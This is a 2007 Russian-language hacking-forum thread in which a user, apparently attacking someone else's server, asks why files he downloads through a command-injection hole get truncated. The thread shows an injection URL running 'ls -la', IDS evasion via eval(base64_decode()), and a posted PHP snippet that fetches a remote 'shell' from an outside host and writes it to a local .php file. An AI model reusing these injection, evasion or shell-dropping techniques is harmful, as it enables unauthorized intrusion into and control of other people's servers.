Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Борьба с Ids (https://forum.antichat.xyz/showthread.php?t=46323)

Xex 08.08.2007 14:35

Борьба с Ids
 
Здраствуйте,

Вобщем на одном серве, вероятно, стоит IDS, либо любой "другой ИИ",
обрубающий коннект при всяких пошлых запросах типа index.php?iop=ls%20-la.
обойти его оказалось просто - примерно такой конструкцией, eval(base64_decode()).
Но вот проблема, не могу корректно загрузить на серв что мне нужно, т.е. wget, curl работают и даже загружают, но не весь файл а только РОВНО 62848 байт.
попробовал PHP'ой функцией copy - результат тот же, тоже льет но не больше чем 62848 байт.
Пробовал закачать 62848, затем докачать - не работает. в phpinfo() аплод разрешен и размер макс. аплода не превышает объема моего файла.
Подскажите у кого есть какие мысли по этой проблеме и возможное решение.

Спасибо.

groundhog 08.08.2007 14:42

Аплоад может быть ограничен в конфиге виртуального хоста, а не в самом php.ini... А что тебе мешает разбить файл на части, скачать по частям, а потом copy a+b+c? :)

andy13 08.08.2007 18:34

или заархивировать, скачать и потом распаковать.

Xex 08.08.2007 20:14

Цитата:

Сообщение от groundhog
Аплоад может быть ограничен в конфиге виртуального хоста, а не в самом php.ini... А что тебе мешает разбить файл на части, скачать по частям, а потом copy a+b+c? :)

ну это - да, вариант,
но все же хотелось бы разобраться с чем это связанно,
а про вирт хост проверю

Xex 09.08.2007 20:38

нет, в размер аплода везде нормальный,

Цитата:

Сообщение от andy13
или заархивировать, скачать и потом распаковать.

слишком большой размер

m0nzt3r 09.08.2007 23:36

а если такой вариант:
PHP код:

$data=@implode('',file('http://shell'));
//и дальше записать в файл?-->
$fp=@fopen('./local/file.php','wb');
@
fputs($fp,$data);
@
fclose($fp); 


Xex 10.08.2007 00:32

Цитата:

Сообщение от m0nzt3r
а если такой вариант:
PHP код:

$data=@implode('',file('http://shell'));
//и дальше записать в файл?-->
$fp=@fopen('./local/file.php','wb');
@
fputs($fp,$data);
@
fclose($fp); 


спасибо, попробую,
я еще думаю попробовать читать маленькими блоками,
спасибо за решение.
но хотелось бы выяснить - источник проблемы

Xex 11.08.2007 23:25

хм, все перепробовал, всякие конструкции, каждый день меняется размер скачиваемого файла, от 6-20 кб, не больше - вобще жесть. хз уже что делать

Alexsize 11.08.2007 23:28

А такой вариант, что на винте место квотой для этого юзера ограничено не рассматриваешь? Я как то тоже полночи Ивана-потрошителя ставил.. А всего навсего место на винте закончилось=(

Xex 12.08.2007 01:56

нет, к сожалению, проблема не в этом,
проверял,
но спасибо за отклик


Время: 14:29